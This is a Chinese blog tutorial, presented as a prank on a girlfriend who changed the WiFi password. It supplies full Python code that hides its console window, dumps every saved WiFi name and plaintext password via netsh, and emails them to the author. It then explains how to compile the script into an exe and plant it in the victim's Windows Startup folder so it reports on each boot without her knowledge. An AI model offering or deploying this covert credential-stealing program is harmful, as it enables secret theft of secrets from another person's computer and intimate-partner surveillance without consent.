女朋友赌气把WIFI密码改了?学会这招再也不怕了

和女朋友吵架了,她一气之下把WIFI密码改了。虽说现在手机流量已是白菜价,只看看新闻,玩玩手机游戏还行,但若是下载几个G的软件或看部电影,那再多的流量也不够你用。今天就教大家一个一劳永逸的办法,不需要暴力破解,在WIFI密码被改的情况下分分钟重新连上家里的无线网。

第一步,用Python编写密码发送程序

先上代码:

------

#coding:utf-8

import os

import re

import smtplib

from email.mime.text import MIMEText

from email.header import Header

import win32api, win32gui

#程序运行的瞬间cmd窗口一闪即关,增强隐蔽性

ct = win32api.GetConsoleTitle()

hd = win32gui.FindWindow(0,ct)

win32gui.ShowWindow(hd,0)

#读取本机WIFI信息

a=os.popen('netsh wlan show profiles')

b=a.read()

c=re.findall('所有用户配置文件 : (.*?)\n',b,re.S)

s=""

for i in c:

a=os.popen('netsh wlan show profiles '+i+' key=clear')

b=a.read()

c=re.findall('关键内容 : (.*?)\n\n费用设置',b,re.S)

for ii in c:

s=s+"WIFI名称:"+str(i)+" "+"WIFI密码:"+str(ii)+'\n'

#将wifi信息发送到指定邮箱

message = MIMEText(s, 'plain', 'utf-8')

mailname="xxx" #发送和接收的邮箱地址,这里设为同一个

message['Subject'] = Header("WIFI账号信息", 'utf-8')

try:

smtpObj = smtplib.SMTP()

smtpObj.connect("smtp.xxx.com", 25) #smtp服务器地址

smtpObj.login("xxx","xxx") #邮箱发送方的账号和密码

smtpObj.sendmail(mailname, mailname, message.as_string())

print("邮件发送成功")

exit(0)

except smtplib.SMTPException:

print(" 邮件发送失败")

exit(1)

------

代码就不分析了,只说个大概的思路。先读取本机的WIFI账号和密码,然后将读取到的信息发送到指定邮箱。

收到的邮件内容示例:

WIFI名称:xiaoli WIFI密码:xxxxxxWIFI名称:jack WIFI密码:xxxxxx……

第二步,将编写完的Python程序打包成exe可执行文件

1.安装pyinstaller包

2.打开命令控制台,定位到Python程序所在的目录

3.输入: pyinstaller -F Python文件名,开始打包

4.打包完成后,在刚才的目录下找到dist文件夹,把里面的exe文件拷出来

第三步,打开女朋友电脑,将exe文件拷到Windows启动目录(Win10启动目录一般是C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp),结束。

以后每次女朋友启动电脑你就可以在邮箱收到最新的WiFI密码啦。

学会了吗?不过,首先你得有个女朋友,其次,这招只是个下策,赶紧和女朋友和好吧。

------

注:运行exe文件的操作系统必须是win10,若是win7可能读不到WIFI密码。

------

本文为“爱锋程序猿”原创,转载请写明出处。

你可能感兴趣的:(女朋友赌气把WIFI密码改了?学会这招再也不怕了)